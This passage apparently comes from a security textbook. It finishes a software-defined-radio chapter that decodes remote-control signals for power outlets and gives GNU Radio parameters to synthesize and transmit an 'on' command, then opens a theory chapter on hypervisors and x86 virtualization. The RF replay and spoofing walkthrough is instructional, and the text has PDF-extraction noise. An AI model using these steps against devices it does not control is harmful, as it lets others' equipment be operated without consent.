-0.997684, 17.4977, 17.0088, 16.4327, -0.998229, 16.1483, -0.999961, -0.998696, -0.998189, 16.8322,
-0.997751, -0.995315, -0.996984, 18.5881, -0.999142, -0.997718, -0.997556, 17.4115, -0.999687,
-0.999922, -0.998284, 18.465, -0.998248, -0.999491, -0.997841, 17.7649, -0.999843, -0.999323,
-0.998556, 17.8577, -0.999423, -0.997512, -0.999266, 17.9569, -0.999706, -0.998791, -0.998976,
17.4343, -0.995211, -0.998814, -0.996952, 17.6677, -0.999965, -0.999467, -0.997974, 17.8313, 16.8585,
16.4318, -0.997114, 17.6524, -0.999487, -0.9997, -0.999322
In [4]: ❹decode("one on",10,tmp)

one on ❺0xe88e888eee8ee8888888888e8
one on ❻0x91d801
❼1110100010001110100010001000111011101110100011101110100010001000100010001000100010001000100011101000
In [5]: quit
To interactively play with the data, I use ipython3 ❶, but feel free to run the code
however you choose. One benefit of ipython3 is that you can modify the routine and
reload ❷ it at will. The decode ❹ routine takes the output ❸ of the extract symbols
from inspectrum and prints the decoded data in the form of the raw hex decode ❺, the
461
translated symbols decode ❻, and the raw binary decode ❼. The translated symbols
decode is based on the fact that on-off keying appeared to have two symbols. The binary
data reflects the same two symbols, with the long pulse being 0xe and the short pulse
being 0x8. The result of running the decode on all captures is shown next:
# Hex representation of symbols
# Data separated on groupings of 2 bits, 16 bits, 7 bits
r e mo t e 1 o n e o n 0xe8 8e888eee8ee88888 88888e8
r e mo t e 1 t wo o n 0xe8 8e888eee8ee88888 8888e88
r e mo t e 1 t h r e e o n 0xe8 8e888eee8ee88888 888e888
r e mo t e 1 o n e o f f 0xe8 8e888eee8ee88888 888ee88
r e mo t e 1 t wo o f f 0xe8 8e888eee8ee88888 88e88e8
r e mo t e 1 t h r e e o f f 0xe8 8e888eee8ee88888 88e8888
r e mo t e 2 o n e o n 0xe8 ee8eeeeeeee8eeee 88888e8
r e mo t e 2 t wo o n 0xe8 ee8eeeeeeee8eeee 8888e88
r e mo t e 2 t h r e e o n 0xe8 ee8eeeeeeee8eeee 888e888
r e mo t e 2 o n e o f f 0xe8 ee8eeeeeeee8eeee 888ee88
r e mo t e 2 t wo o f f 0xe8 ee8eeeeeeee8eeee 88e88e8
r e mo t e 2 t h r e e o f f 0xe8 ee8eeeeeeee8eeee 88e8888
# Converted values (assuming 0xe=1 and 0x8=0)

r e mo t e 1 o n e o n 0x91d801
r e mo t e 1 t wo o n 0x91d802
r e mo t e 1 t h r e e o n 0x91d804
r e mo t e 1 o n e o f f 0x91d806
PART IV
r e mo t e 1 t wo o f f 0x91d809
r e mo t e 1 t h r e e o f f 0x91d808
r e mo t e 2 o n e o n 0xb7f bc1
r e mo t e 2 t wo o n 0xb7f bc2
r e mo t e 2 t h r e e o n 0xb7f bc4
r e mo t e 2 o n e o f f 0xb7f bc6
r e mo t e 2 t wo o f f 0xb7f bc9
r e mo t e 2 t h r e e o f f 0xb7f bc8
It is not quite clear what the beginning of each packet is, but it consistently appears
to begin with binary 10 (represented as 0xe8 in hex). After that, the data differs only
between remotes, which may indicate an addressing scheme since the remotes only work
on the paired outlets. If we compare the same operation on both remotes, the last 4 bits
are clearly the operation being performed (that is, turn on Outlet 1). If it wasn’t obvious
before, we now know that replay attacks will only work with the paired outlet.
Preview
We are now at the point where we hope all the effort pays off and we can synthesize our
own data using the results of the analysis. The goal of the Preview step is to verify that
the data we are going to send looks like what we expect prior to sending it over the air.
This step could be combined with the Execute step, but I think it is important enough to
warrant its own step to ensure we do not skip it and start transmitting.
Up until now, the flow graphs we created have been relatively simple with very few
moving parts. To create the signal from scratch, we will be using several new blocks, as
462
Name Purpose Parameters of Interest
Vector A vector of binary data to transmit.
Patterned Combines several sources into a Pattern of the inputs. The pattern
Interleaver single vector. indicates the number of values taken
from each source. In this case, you
combine the nonchanging data with
the addressing, operation, and gap.
Constant Source Provides a constant binary 0 to the
patterned interleaver to help with
the gap between packets.
Repeat Converts the binary pattern to Interpolation: sample_rate *
the symbol pattern by repeating symbol_rate
each binary value based on the 1 MSps * 275μs/symbol = 275
symbol and sample rate prior to samples per symbol
transmission.
Multiply Mixes (modulates) the data with
the carrier. This effectively turns on
and off the carrier frequency (on-
off keying).
Source Generates the carrier frequency. Sample Rate: 1M
Waveform: Cosine
Frequency: 314.98 MHz
Osmocom Sink Transmits the data provided Sample Rate: 1M
via the SDR. Ch0: Frequency: 314.98 MHz
Ch0: RF Gain: 8
Table 22-3 Description of New GNU Radio Blocks for Signal Synthesis
described in Table 22-3. The flow graph in Figure 22-11 includes the osmocom sink
block, but notice that the arrow and the block are a different color than the other arrows
and blocks. This indicates that they are disabled. Another subtle change is that we have
switched to 1 MSps instead of our typical 4 MSps. Because we are synthesizing the data,
we do not have to use the same sample rate as before. Additionally, the selected sample
rate made it easier to show that the symbol rate was 275μs.
The patterns are taken from the binary representation of the remote one on command:
Pattern = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2
,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2
,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]
Input 0 = 28 symbols of zero to create the gap between packets

Input 1 = 8 symbols of Non-Changing Data: 0xe8
Input 2 = 92 symbols of Addressing Data for remote 1 plus the 16 symbols of the
command to turn on outlet 1: 0x8e888eee8ee8888888888e8
Once you have run the flow graph, you will have a new capture file called test-preview.
Repeating the steps of the analysis on the test-preview capture should yield the same (or
similar) results if you did not make any mistakes in the flow graph (see Figure 22-12).
Note that the total number of symbol periods is 128, which matches the pattern with
the gap.
463
PART IV
Figure 22-11 Replay flow graph: test-preview.grc
Figure 22-12 Inspectrum diagram of preview

464
Figure 22-13 Final execute flow graph: test-execute.grc
Execute
We have verified that the synthesized data looks like the data we received over the air. The
only thing left is to enable the osmocom sink (see Figure 22-13), transmit by executing
the flow graph, and watch the power outlet turn on. To enable the sink, simply right-
click the block and select Enable. If you are playing along, you will likely want to disable
the file sink to minimize the storage used. At this point, you can take a bow because you
have successfully replicated the functionality of the remote from scratch using an SDR.
Summary
Although we have barely scratched the surface of what can be done using an SDR with
GNU Radio, we were able to analyze a very simple RF device. Using the SCRAPE pro-
cess, we discovered the operating frequency, captured data, performed a replay attack, got
an understanding of the structure of the data, and synthesized the data from scratch. You
also saw how GNU Radio allows you to simulate signals without having to interface with
hardware. Hopefully, this chapter has piqued your interest in SDR and given you some
confidence that the subject is not beyond your reach.
465
For Further Reading
bladeRF www.nuand.com/
GNU Radio tutorials wiki.gnuradio.org/index.php/Guided_Tutorial_Introduction,
wiki.gnuradio.org/index.php/Guided_Tutorial_GRC, wiki.gnuradio.org/index.php/
Guided_Tutorial_GNU_Radio_in_Python
HackRF One greatscottgadgets.com/hackrf/
Inspectrum github.com/miek/inspectrum
IPython ipython.readthedocs.io/en/stable/index.html
PyBOMBS github.com/gnuradio/pybombs
The National Association for Amateur Radio www.arrl.org
“Software Defined Radio with HackRF” (tutorial by Michael Ossmann, the creator
of HackRF) greatscottgadgets.com/sdr/
USRP www.ettus.com/product/category/USRP-Bus-Series
PART IV
PART V
Hacking Hypervisors
Chapter 23 Hypervisors 101

Chapter 24 Creating a Research Framework
Chapter 25 Inside Hyper-V
Chapter 26 Hacking Hypervisors Case Study
Hypervisors 101
CHAPTER
23
• Theoretical model of virtualizable architectures
• x86 virtualization
• Paravirtualization
• Hardware assisted virtualization
Virtualization is the process of creating multiple, isolated, virtual environments where

OSs (guests) can concurrently execute in a physical machine (host). During the last few
years, interest in this technology has increased because of the benefits it provides in the
reduction of operational costs. However, this sharing of physical resources comes with
new security risks. For example, an attacker with access to one of the virtual environ-
ments could exploit a flaw in the virtualization stack and compromise the host, granting
access to the rest of the virtual environments running in that physical machine.
In this chapter you will learn about the core of the virtualization stack: the hypervisor
software. We’ll start with a theoretical model of a virtualizable architecture, discussing its
properties and general virtualization concepts. Next, we move on to x86 specifics, where
we’ll compare this concrete architecture against the theoretical model. To understand this
chapter, you should be familiar with the x86/x86_64 architectures and with concepts like
the different execution modes, exceptions, segmentation, and paging.
NOTE Discussing each topic in depth is outside the scope of this book. The
reader should complement this chapter by reading the material from the
cited sources.
What Is a Hypervisor?
A hypervisor, or virtual machine monitor (VMM), is a component running in the host
that manages the creation, resource allocation, and execution of virtual machines (VMs).
Every VM provides an isolated virtual environment in which different operating systems
(OSs) can run.
Virtualization is a concept that goes back to the late 60s, when IBM was developing
its first CP/CMS1 systems: VMM software called Control Program (CP), which could
469
470
run VMs with a lightweight OS called CMS. However, the first successful product to
fully virtualize 32-bit x86 processors came decades later, when VMware Workstation2
was introduced in 1999.
Popek and Goldberg Virtualization Theorems

In 1974, Gerald J. Popek and Robert P. Goldberg published their virtualization theo-
rems,3 a work in which they formally introduced the requirements for efficiently virtu-
alizable architectures. We need to learn this theory before jumping into more tangible
implementations so we can understand their relationships.
Their work starts by assuming a computer model composed of a CPU with user/
supervisor execution modes and a simple trap mechanism. In this model, memory is
the only system resource, which the CPU accesses by linear, relative-addressing from a
relocation-register. The CPU instructions are classified as follows:
• Privileged instructions These instructions are only available in supervisor

execution mode. In this model, every attempt to execute a privileged instruction
causes a trap if the CPU execution mode is user-mode.
• Control-sensitive instructions These instructions have effects on the
configuration of one or many system resources. In the current model, these
effects include the value of the relocation-register and the CPU execution mode.
• Behavior-sensitive instructions These instructions display different behavior
depending on the configuration of system resources. In the current model, they
can be affected by the configuration of the relocation-register (location-sensitive)
or by the CPU’s current execution mode (mode-sensitive).
• Innocuous instructions These instructions are neither control-sensitive nor
behavior-sensitive.
CAUTION Some of the original definitions reflect aspects of the architectures

that existed at the time the work was published. For the sake of simplification,
some definitions are replaced by less precise ones.
A VMM is defined as a piece of software running in supervisor-mode and is composed

of the following modules:
• Dispatcher This is the entry point of the trap handler and calls either the
allocator or the interpreter based on the source of the trap.
• Allocator This is called by the dispatcher when a VM attempts to execute a
control-sensitive instruction. The allocator manages system resources, isolating
VMM resources from VMs and those assigned to the VMs from each other.
• Interpreter This is called by the dispatcher when a VM attempts to execute
a privileged-instruction. The interpreter simulates the behavior of the faulting
instruction as if it were executed natively.
Chapter 23: Hypervisors 101
471
A VM is defined as a virtual environment—more specifically, as an “efficient, isolated,
duplicate of the real machine.” VMs run in user-mode and present the following properties:
• Equivalence Programs running in a VM should exhibit identical behavior to

native execution.
• Efficiency Innocuous instructions should be directly executed by the CPU.
Programs running in a VM should display “at worst only minor decreases in speed.”
• Resource-control Programs running in a VM can’t access resources that haven’t
been explicitly allocated to it by the VMM or that affect other system resources
in any way.
From these definitions, three virtualization theorems are stated:
• For any computer, a VMM may be constructed if its set of sensitive instructions
is a subset of the set of privileged instructions.
• A computer is recursively virtualizable if (a) it is virtualizable and (b) a VMM
without timing dependencies can be constructed for it.
• A hybrid virtual machine (HVM) may be constructed for any computer in which
the set of user-sensitive instructions is a subset of the set of privileged instructions.
The first theorem has important implications on the equivalence and resource-control
properties. If the set of sensitive instructions (the union of control-sensitive and behav-
ior-sensitive instructions) is privileged instructions, then every sensitive instruction
execution attempt by a VM will trap into the VMM’s dispatcher. The dispatcher will
call the allocator if the trap originates from a control-sensitive instruction (the resource-
PART V
control property holds) or the interpreter if the trap originates from a behavior-sensitive
instruction (the equivalence property holds). Innocuous instructions are either directly
executed by the CPU or handled by the interpreter in case they are privileged instruc-
tions (equivalence property holds). This kind of VMM implementation is known as
“trap-and-emulate,” and an architecture is considered to be “classically virtualizable” if a
VMM can be fully implemented in this way.
The second theorem refers to a recursively virtualizable computer, nowadays called
“nested virtualization.” While in theory the virtual environment provided by a VM
should be a duplicate of the real machine, in practice this is not always true. Instead,
it might represent a restricted subset, or a similar computer family. An example from
that time was the CP-67 running on an IBM S/360-67, which supported paging but
exposed the virtual environment of a S/360-65 without paging support. The lack of pag-
ing wouldn’t allow it to recursively run the CP-67, for which it required modifications.
Even if a VMM provides a virtual environment with all the features required by itself, it
still needs to run efficiently in that environment.
In the third theorem, we encounter a few new definitions: a user-sensitive instruc-
tion is defined as an instruction that is sensitive when executed in user-mode; simi-
larly, a supervisor-sensitive instruction is sensitive when executed in supervisor-mode.
472
Popek and Goldberg’s Multitasking-Supporting
Computer Model Hardware
Execution modes Supervisor/user modes Protection rings
System resources mapping Relocation-register Segmentation and/or paging
relative addressing
Traps Trap mechanism Hardware exceptions/traps
Table 23-1 Comparison Between Popek and Goldberg’s Computer Model and Multitasking-
Supporting Hardware
Finally, an HVM is defined as a less efficient VMM implementation, in which all

code executing in virtual supervisor-mode gets interpreted. This theorem loosens the
requirements of the first theorem so that some of the existing architectures of that time
could fulfill them.
Goldberg’s Hardware Virtualizer

Virtualizable architectures and hardware designed to run multitasking OSs present simi-
lar characteristics. These similarities come from the existence of hardware mechanisms
that protect system resources from non-privileged (user) programs. In Table 23-1, we can
see a side-by-side comparison.
We can also observe similarities between a VMM and a multitasking OS kernel. The
OS kernel runs in a privileged execution mode, it has control over system resources
(CPU time, memory, and storage), and it provides user programs with an environment
where they run efficiently. A difference is that there is no equivalence property because
the environment provided by the OS doesn’t intend to be a duplicate of the real machine.
Instead, user programs are presented with an “extended machine interface,”4 which is the
combination of the hardware resources accessed from unprivileged-mode and the kernel
software interface.
Efficient virtualization of these protection mechanisms can be challenging. This was
considered by Goldberg in one of his previous works when he proposed a “hardware
virtualizer.”5 He introduced the concept of two different types of resource mappings:
software-visible mappings controlled by the OS, and software-invisible mappings con-
trolled by the VMM. A distinction is also made between software-visible traps (handled
by the OS) and software-invisible traps (handled by the VMM), called VM-faults.
NOTE The Windows 9x kernel module was named “Virtual Machine Manager”
(VMM.vxd), which is an interesting name choice for a kernel that did a pretty
bad job at protecting system resources from unprivileged programs.
473
An example of a software-visible resource mapping is the paging mechanism that
OSs use to map a virtual memory address to either a physical page or a non-present
page. When a program tries to access memory from a virtual address mapping to a non-
present page, it causes a page-fault exception. The exception is handled by the OS kernel,
which decides what to do with it. Goldberg defines this software-visible mapping as the
“ϕ-map,” and the page-fault exception would be a software-visible trap.
Program Program
Hardware Hardware
Exception/Trap Exception/Trap
resources resources
Mapping to a present resource Mapping to a non-present resource
The hardware virtualizer introduces a new kind of mapping called an “f-map,” which
is invisible to the software running in the VM and is controlled by the VMM. Simply
put, the f-map maps the VM’s virtual resources to real hardware resources. Software run-
ning within a VM accesses its resources via the composed map “f ° ϕ.”
VM Program VM-Fault
f
VM Hardware
Exception/Trap
resources
PART V
resources
Mapping to a present resource
The f-map can also refer to a non-present resource; in this case, an access attempt will
cause a VM-fault.
VM Program VM-Fault
f
Hardware
VM
resources
Exception/Trap resources
Mapping to a non-present resource
Finally, the f-map can be defined in terms of a recursive VMM, so it is said to map
the virtual resources of an “n+1” level to those of an “n” level. When the “n” level is 0, the
map refers to the real hardware resources. Nested virtualization is possible by recursive
474
composition of the f-map for “n” levels. The following illustration shows a simple example
where “n=1.”
VM VMM n = 1 VMM n = 0
Program VM-Fault VM-Fault

VM
f f
VM
Exception/Trap n=1 Hardware
resources
resources resources
Type-1 and Type-2 VMMs

A VMM implementation can run either on bare metal or under an extended machine
interface. Hypervisor implementations running on bare metal are known as Type-1
(native), while the ones running on an extended machine interface are known as
Type-2 (hosted). Nowadays, different virtualization solutions claim to be either Type-1
or Type-2. If we get nitpicky, we will see that most of them don’t exactly fit into this
categorization, because in this distinction the VMM is considered a monolithic com-
ponent, while in reality the virtualization process is usually distributed among several
components running at different privilege levels.
Hardware VM User process
Type-1 VMM OS kernel

User process
Hardware Type-2 VMM VM User process
OS kernel User process OS kernel User process
A Type-2 VMM should be easier to implement because it can make use of existing
functionality provided by the host OS. However, it usually requires the host OS to be
extended with functionality needed by the VMM. We usually see virtualization solutions
of this type (such as VMware Workstation and VirtualBox6) install a set of kernel drivers
for this purpose. The rest is handled by a worker process running in user-mode. Some
solutions claiming to be Type-1, like KVM,7 don’t really differ much from this imple-
mentation scheme.
A difficulty faced by Type-1 VMMs is the need for a vast amount of hardware driv-
ers. Some implementations address this problem by allowing the VMM to pass through
some system resources to privileged VMs. During the boot process, the VMM creates
a privileged VM to offload many virtualization tasks, such as handling the hardware
475
devices and providing a machine extended interface for the worker processes. In Xen,8
this privileged VM is known as dom0, while in Hyper-V9 it is called the root-partition.
Other Type-1 solutions, like VMware ESXi, bring up their own kernel (VMkernel) to
run the rest of the virtualization stack.
x86 Virtualization
Previous to the existence of hardware virtualization extensions, there were no mecha-
nisms present in the x86 architecture providing software-invisible maps (f-map) or traps
(VM-fault). Still, it would be possible to implement a VMM on top of the software-
visible mechanisms (virtual memory and hardware exceptions). The question is, does the
x86 architecture meet Popek and Goldberg’s virtualization requirements?
The first virtualization theorem states that the set of sensitive instructions should be
a subset of the privileged instructions. The x86 doesn’t meet this requirement because
its instruction set has sensitive instructions that do not belong to the set of privileged
instructions.10 To see why this is an important limitation, let’s take a deeper look at one
of these instructions.
Our case study is the Store Interrupt Descriptor Table Register (SIDT) instruction,
which stores the contents of the IDTR register, composed of the size and base of the cur-
rent IDT,11 in the memory address of its destination operand. The SIDT instruction is
known to be problematic since it can be executed from user-mode to retrieve the kernel
address of the current IDT. This situation has forced kernel developers to take measures
like mapping the IDT away from the rest of the kernel and making it read-only as a way
to prevent its use as an exploitation vector.
PART V
NOTE Intel finally introduced a feature called User-Mode Instruction
Prevention (UMIP12) to forbid the user-mode execution of the following
instructions: SGDT, SIDT, SLDT, SMSW, and STR. All these are sensitive,
unprivileged instructions!
Implementing a VMM for the x86 would require taking over the trap mechanism by
installing the VMM’s own IDT and providing virtualized IDTs to the guests that, from
their perspective, should be indistinguishable from real IDTs. A VM shouldn’t be allowed
to execute code at Ring-0 to make sure that any privileged instruction attempt within it
causes a general protection fault (#GPF). This way, the VMM could trap-and-emulate
privileged instructions executed by VMs.
How can SIDT interfere with the functioning of this VMM? Imagine a VM executing
kernel code at Ring-3. This kernel code wants to get information about its own virtual
IDT, and it does it by executing the SIDT instruction. Because this is not a privileged
instruction, the CPU executes it and no #GPF ever happens. The guest doesn’t receive the
“IDTR” of its own virtual IDT but rather the IDTR contents of the real IDT installed
by the VMM. The equivalence property is broken, and the resource-control property is
violated by exposing sensitive host information to the guest.
476
Dynamic Binary Translation
Dynamic binary translation (DBT) is a technique used to rewrite a target’s binary code
to the equivalent host’s native code. It is commonly used by emulators in conjunction
with or as a replacement for binary interpretation (where every instruction is interpreted
by software) in order to achieve faster execution speeds. Target instructions are translated
on the fly, like in a JIT compiler. DBT can be complex and requires special handling of
corner cases like self-modifying code.
DBT can be used to work around the problems caused by unprivileged, sensitive
instructions. Unlike emulators, where a complex, cross-architecture type of translation
is performed, a simpler, lightweight x86-to-x86 translation is employed, where most of
the original instructions are preserved. Modifications are only made to sensitive unprivi-
leged instructions, relative addressing, and control flow instructions. The need to per-
form modifications to the last two are a direct consequence of the side effects in code size
caused by the translation process itself. Sensitive instructions are translated to code that
simulates the execution of the original instruction from the point of view of the target.
VMM implementers realized they could extend DBT use to translate privileged instruc-
tions to avoid excessive traps and improve performance. The concept was further extended
to perform “adaptive binary translation”13 of instructions that would trap when accessing
system resources (for example, page-table updates when shadow memory is used). Other
improvements followed, like the translation of clusters of trap-causing instructions.14
Ring Compression
We know that a virtualizable architecture requires two modes of operation: a supervisor
mode to run the VMM, and a user mode to run VM programs. Once the x86 enters pro-
tected mode, four protection (ring) levels are provided, of which two of them are com-
monly used by OSs: Ring-0 for kernel code and Ring-3 for user programs. Attempts to
execute a privileged instruction at any ring level other than Ring-0 causes a trap (#GPF).
Following this design, VMs should only execute at ring levels 1–3, while the VMM
should run at Ring-0. To accomplish this, the OS kernel running in the VM must be
demoted from Ring-0 to one of the other levels.
The x86 paging mechanism can only distinguish between “supervisor” and “user”
pages. Ring levels 0–2 can access both (except when SMAP and SMEP15 are enforced),
while Ring-3 can only access “user” pages. So, if we want to use paging to protect the
VMM memory, VMs should only be allowed to run at Ring-3. This means that there
wouldn’t be a difference in the privilege level of the kernel and its user processes.
In a typical OS implementation, the virtual address space is partitioned into two halves,
mapping the kernel’s memory into every user process. This scheme has a few advantages,
such as simple discrimination of user/kernel pointers, keeping kernel addresses cached
in the TLB, and the ability to perform direct copy operations from the kernel to user
addresses. On the other hand, this sharing of address space has facilitated kernel exploita-
tion for a long time and has created a need for many mitigations (KASLR,16 UDEREF,17
SMEP, and SMAP).
477
NOTE In the last years, a number of transient-execution vulnerabilities18
have been discovered that can be used, among other things, to leak
privileged memory contents to user-mode. To mitigate many of them,
Kernel Page-Table Isolation (KPTI19) is enforced; funnily enough, it works by
removing most of the kernel mappings from user processes, which undoes
most of the performance benefits provided by the memory split.
The address space sharing becomes problematic once the kernel is put at Ring-3. As is,
the VMM can’t protect the kernel’s memory for user processes unless it is unmapped and
remapped between context switches, but that would be too expensive. The solution is to
place the kernel at Ring-1. This way, paging can protect the kernel’s memory (supervisor
pages) from user-space. There is a catch: paging can’t protect the VMM’s supervisor pages
from Ring-1, however, we can still use segmentation to protect the VMM’s memory from
the guest kernel.
CAUTION x86_64 dropped most segmentation features, so the Ring-1

solution can’t be used in long mode. Some models partially support
segment limits via the EFER.LMSLE20 feature, but nowadays it is more
common to find x86_64 processors with hardware virtualization
extensions, which, as we’ll see later, will save us the trouble of worrying
about ring compression.
Shadow Paging
The x86 Memory Management Unit (MMU) maps virtual addresses (VAs) to physical
PART V
addresses (PAs) by using a software-visible, tree-like data structure known as multilevel
page-tables. Under normal circumstances, page-tables are constantly accessed by the
OS kernel; however, under virtualization, they are a critical resource, and direct access
from VMs must not be allowed. To virtualize the MMU, machine physical addresses
(that is, system physical addresses, or SPAs) must be invisible to the guests, which
instead should be presented with a set of pseudo-physical addresses (that is, guest
physical addresses, or GPAs). The MMU can be seen as a “ϕ-map”; a virtualized MMU
would map GVAs to GPAs. An “f-map” is needed to map GPAs to SPAs, but initially,
the x86 lacked such mechanism (this was later introduced with EPT). To work around
this limitation shadow paging techniques were implemented.
Shadow paging consists in taking over the “ϕ-map” (the page-tables used by the
MMU) and presenting the guests with a set of virtual page-tables (mapping GVAs to
GPAs). Every guest attempt to write to the set of virtual page-tables will trap into the
VMM, which synchronizes the real set of page-tables (mapping GVAs and HVAs to
SPAs) accordingly.
478
Address translation is performed by walking the multilevel page-tables, which is a
process that is completely based on PAs and starts at the PA of the topmost table pointed
to by the CR3 register. In contrast, once paging is enabled, memory accesses caused
by instructions are based on VAs, including those to the page-tables themselves, for
which they need to be self-mapped to be accessed. This self-referencing principle can be
exploited by the VMM to implement shadow paging.
NOTE In this book we will use the term system physical address (SPA) to
refer to a machine physical address and the term guest physical address
(GPA) to refer to the pseudo-physical address seen by the guest. For page
frame number (PFN), we will use system page frame number (SPFN) or
guest page frame number (GPFN). For virtual address (VA), we will use host
virtual address (HVA) or guest virtual address (GVA). Keep in mind that other
naming schemes exist to refer to the same terms we use.
A VMM must handle attempts from the guest OS to access the MMU configuration
and/or the page-tables. To access the MMU configuration, the guest needs to execute privi-
leged instructions (to access, for example, the CR3 or CR4 registers). Privileged instruc-
tions trap, so handling this case is straightforward. Handling guest accesses to page-tables is
more complicated and involves the construction of a set of pseudo-page-tables.
When a guest attempts to set a PA to CR3, this PA is actually a GPA to what the guest
believes to be the topmost level of its own page-tables. The CR3 write access traps into
the VMM, which handles it by performing the following steps:
1. Get the SPA corresponding to the GPA used by the guest to set CR3.
2. Map the SPA into an HVA and start walking the pseudo-page-table pointed by it;
each entry contains the GPA (GPFN) of the next level of page-tables.
3. For each page-table GPA, get its SPA and repeat from step 2.
4. For each pseudo-page-table, build a shadow page-table. This shadow page-table will
be used by the MMU, but it will be invisible to the guest. Entries will either point
to the next-level table or map a GVA. If the entry points to the next-level table, its
SPA must point to the corresponding shadow page-table. If it maps a GVA, then
the entry must encode the SPA of the GPA that corresponds to the GVA.
5. If a GVA maps a GPA belonging to the set of pseudo-page-tables, then the
corresponding entry in the shadow page-table is set as read-only.
This way, every time the guest attempts to update its own page-tables, the write
attempt will trap into the VMM, which will handle the access and update the corre-
sponding shadow page-table tables. The following illustration shows an example of how
the GVA of the guest’s PDPT can be translated by the shadow paging mechanism.
479
(shadow) PDPT (shadow) PD (shadow) PT
(shadow) CR3
PD SPFN
(guest) PDPT SPFN read-only
PT SPFN
PDPT GVA
(guest) PDPT (guest) PD (guest) PT

(guest) CR3
PD GPFN
PDPT GPFN
PT GPFN
SPA (MMU)
GPA
VA offset
Guests can read from their pseudo-page-tables directly. Also, MMU translations are
direct from GPAs to SPAs by the shadow page-tables, so there is no performance cost
there. On the other hand, handling page-table updates is complex and expensive for two
reasons. First, specialized interpreter routines (x86 emulator) are required for any poten-
tial instruction performing the update. Second, both pseudo-page-tables and shadow-
PART V
page-tables have to be kept synchronized. The minimum cost for every page-table update
is the cost of a trap into the VMM (as explained earlier, this cost can be reduced by adap-
tive binary translation).
Paravirtualization
We have seen that properly virtualizing the x86 architecture is complex and, in some cases,
slow. With the goals of simplifying hypervisor design and improving its performance,
some implementations took a different direction. Instead of simulating real hardware, a
synthetic interfaces are provided for communication and cooperation between VMs and
the VMM. Guest OS modifications are required to use these alternative interfaces.
One of the means paravirtualized guests have to communicate with the VMM is via
hypercalls. This is analogous to the concept of system calls used by user programs to
request services from the OS kernel, but in this case, it’s the guest requesting services
from the VMM. Hypercalls replace functionality usually offered by hardware compo-
nents such as the CPU, the MMU,21 hardware timers, and the interrupt controller, but
can also extend functionality with inter-VM notifications and shared memory support.
480
Paravirtualized devices can substitute the emulated NIC and storage devices by replac-
ing them with a split driver model. Device backends run in the host (or in a privileged
VM) and their job is to manage system resources while offering a synthetic interface
(simpler and faster than an emulated hardware interface) to the guests. Frontend drivers
running in the guest communicate with backend devices. The basic transport layer for
this model can be built on top of the inter-VM communication facilities, usually based
on ring-buffers over shared memory.
Many aspects of paravirtualization remain, even after hardware-assisted virtualization
overcame many of the limitations that gave rise to it. Furthermore, the hypercall concept
has been incorporated into hardware (VMCALL22). Nowadays, most hypervisors offer
varying degrees of paravirtualization capabilities.
Hardware Assisted Virtualization

So far, we have seen how virtualization was achieved in the x86 architecture previous
to the existence of hardware-assisted virtualization. To overcome previous architectural
limitations and aid the VMM development, hardware extensions were introduced.
Circa 2005, two main implementations were independently developed: Intel Virtual-
ization Technology Extensions (VT-x) and AMD Virtualization (AMD-V), previously
known as Secure Virtual Machine (SVM). The rest of this chapter will cover some
aspects of VT-x.
VMX
Intel introduced the Virtual Machine Extensions (VMX) instruction set, adding two new
processor execution modes: VMX root operation mode and VMX non-root operation
mode.23 Like in supervisor-mode, VMX root mode is where the VMM software runs,
whereas VMs run in VMX non-root mode. We must not confuse VMX operation modes
with ring levels; they are totally unrelated. Moreover, it is possible for a VM in VMX
non-root mode to execute code at any of the ring levels; thus, one of the limitations
solved by hardware virtualization extensions is ring compression.
CAUTION You might find some people talk about “Ring -1” (negative one).
What they actually mean is VMX root mode. VMX operation modes are
unrelated to ring levels, and referring to “Ring -1” only creates confusion.
A transition from root mode to non-root mode is called VM-Enter,24 while a transi-
tion from non-root mode to root mode is known as VM-Exit.25 We can think of the
latter as being similar to the software-invisible trap mechanism described in Goldberg’s
hardware virtualizer. With this new trap mechanism introduced by the VMX operation
modes, the VMM no longer needs to use the IDT for virtualization purposes but still
must use it to handle hardware exceptions and interrupts.
481
A data structure known as the virtual machine control structure (VMCS26) can be
accessed from VMX root mode. By manipulating this structure, the VMM can con-
trol many virtualization aspects, including VMX mode transitions behavior. Usually, a
VMCS is assigned to each virtual processor of every VM (a VM could have more than
one virtual processor), but each physical processor (or logical processor, taking SMT into
account) can only have one “current” VMCS.
VMCS fields can be classified in a few different groups that we will discuss.
VMCS “guest-state” Area

This area corresponds to the VMCS fields where virtual processor state is saved upon
a VM-Exit, and the same fields are used to load the virtual processor state upon a
VM-Enter. This is the minimal state that should be handled by hardware to transition
from VMX modes safely and should at least include the following:
• RIP, RSP, RFLAGS.

• Control registers, DR7.
• Selector, access rights, base and limit of segment registers, LDTR, and TR. Base
and limit of GDTR and IDTR.
• MSRs: IA32_EFER, IA32_SYSENTER_CS, IA32_SYSENTER_ESP, and
IA32_SYSENTER_EIP.
VMCS “host-state” Area

This is the counterpart to the guest-state area and corresponds to the VMM’s processor
state. The host-state is loaded upon every VM-Exit and saved on every VM-Enter.
PART V
VMCS Control Fields
The behavior of VMX non-root mode can be selectively controlled by a set of VMCS
control fields. Among other things, they allow you to:
• Control which events can cause a VM-Exit.

• Control VM-Exit and VM-Enter transitions, including details about processor
state saving. In the case of VM-Enter, it is possible to synthesize interrupts and
exceptions (“event injection”).
• Configure various other virtualization features, such as EPT, APIC virtualization,
unrestricted guest, and VMCS shadowing.
• Grant access to system resources (IO and MSR bitmaps27). This enables the
creation of privileged VMs with hardware access capabilities.
482
VMCS VM-Exit Information Fields
On VM-Exit events, a few VMCS fields are updated with information about the nature
of the event. The most important is the exit-reason field, which encodes the cause of the
VM-Exit. Other fields complement it with event-specific information; some of them
are exit qualification, instruction length, instruction information, interruption infor-
mation, guest linear address, and guest physical address.
VM-Exit Reasons
VM-Exits can be synchronous or asynchronous, with the latter originating from sources
such as external interrupts, or the VMX preemption timer. Synchronous VM-Exits are
caused by VM behavior, and they can be either conditional or unconditional. Only very
few instructions cause unconditional VM-Exits (CPUID is one of them), and the others
will cause a conditional VM-Exit depending on the VMCS configuration (control fields).
One would think that control-sensitive instructions will always cause VM-Exits, but
as we have seen, it is possible to give a VM access to system resources, so this is not
always true. The opposite can also happen: innocuous instructions like the spin-loop hint
